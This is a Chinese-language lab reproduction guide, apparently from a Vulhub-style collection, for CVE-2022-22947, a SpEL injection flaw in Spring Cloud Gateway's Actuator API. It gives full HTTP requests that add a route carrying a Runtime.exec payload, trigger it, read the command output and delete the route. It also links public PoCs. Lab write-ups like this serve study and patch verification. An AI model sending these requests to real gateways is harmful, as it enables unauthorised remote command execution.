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104 lines
3.0 KiB
Markdown
104 lines
3.0 KiB
Markdown
# Spring Cloud Gateway Actuator API SpEL 表达式注入命令执行 CVE-2022-22947
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## 漏洞描述
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Spring Cloud Gateway 是 Spring 中的一个 API 网关。其 3.1.0 及 3.0.6 版本（包含）以前存在一处 SpEL 表达式注入漏洞，当攻击者可以访问 Actuator API 的情况下，将可以利用该漏洞执行任意命令。
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参考链接：
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- https://tanzu.vmware.com/security/cve-2022-22947
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- https://wya.pl/2022/02/26/cve-2022-22947-spel-casting-and-evil-beans/
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## 环境搭建
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Vulhub 执行如下命令启动一个使用了 Spring Cloud Gateway 3.1.0 的 Web 服务：
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```
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docker-compose up -d
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```
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服务启动后，访问 `http://your-ip:8080` 即可看到演示页面，这个页面的上游就是 example.com。
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## 漏洞复现
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利用这个漏洞需要分多步。
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首先，发送如下数据包即可添加一个包含恶意 SpEL 表达式的路由：
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```
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POST /actuator/gateway/routes/hacktest HTTP/1.1
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Host: your-ip:8080
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Accept-Encoding: gzip, deflate
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Accept: */*
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Accept-Language: en
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
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Connection: close
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Content-Type: application/json
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Content-Length: 328
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{
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"id": "hacktest",
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"filters": [{
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"name": "AddResponseHeader",
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"args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"}
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}],
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"uri": "http://example.com",
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"order": 0
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}
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```
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然后，发送如下数据包应用刚添加的路由。这个数据包将触发 SpEL 表达式的执行：
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```
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POST /actuator/gateway/refresh HTTP/1.1
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Host: your-ip:8080
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Accept-Encoding: gzip, deflate
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Accept: */*
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Accept-Language: en
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
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Connection: close
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Content-Type: application/x-www-form-urlencoded
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Content-Length: 0
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```
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发送如下数据包即可查看执行结果：
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```
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GET /actuator/gateway/routes/hacktest HTTP/1.1
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Host: your-ip:8080
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Accept-Encoding: gzip, deflate
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Accept: */*
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Accept-Language: en
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
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Connection: close
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Content-Type: application/x-www-form-urlencoded
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Content-Length: 0
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```
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最后，发送如下数据包清理现场，删除所添加的路由：
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```
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DELETE /actuator/gateway/routes/hacktest HTTP/1.1
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Host: your-ip:8080
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Accept-Encoding: gzip, deflate
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Accept: */*
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Accept-Language: en
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
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Connection: close
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```
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## 开源 POC
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- Xray
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- https://github.com/chaosec2021/CVE-2022-22947-POC
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